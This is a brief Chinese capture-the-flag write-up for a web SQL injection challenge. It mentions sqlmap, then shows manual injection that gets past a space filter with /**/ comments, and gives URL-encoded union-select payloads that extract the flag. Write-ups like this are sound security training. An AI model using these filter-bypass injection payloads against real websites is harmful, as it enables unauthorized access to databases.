Topic Link
http://ctf5.shiyanbar.com/web/index_2.php
一、方法One
sqlmap直接跑出来
1)暴库
2)爆表
3)爆段
4) 结果
二、方法Two
手工注入
1)测试输入1的时候正常显示
2) 单引号测试输入1'发现存在漏洞(判断为字符型注入)
3)测试 1’ or '1'='1 发现页面显示SQLi detected!
于是,猜想会不会是空格被过滤了,尝试一下用 /**/ 进行测试,果然猜测没错空格被过滤了
submit:1'/**/or/**/'1'='1
4)测试联合注入
payload:
http://ctf5.shiyanbar.com/web/index_2.php?id=1%27%2F**%2Funion%2F**%2Fselect%2F**%2F%27100
回显成功
5)构造最终payload(此处为了节省时间可以直接尝试测试table、column为flag,如果不是那就要依次爆出数据库、表、字段)
payload:
http://ctf5.shiyanbar.com/web/index_2.php?id=-1%27%2F**%2Funion%2F**%2Fselect%2F**%2Fflag%2F**%2Ffrom%2F**%2Fflag%2F**%2Fwhere%2F**%2F%271%27%3D%271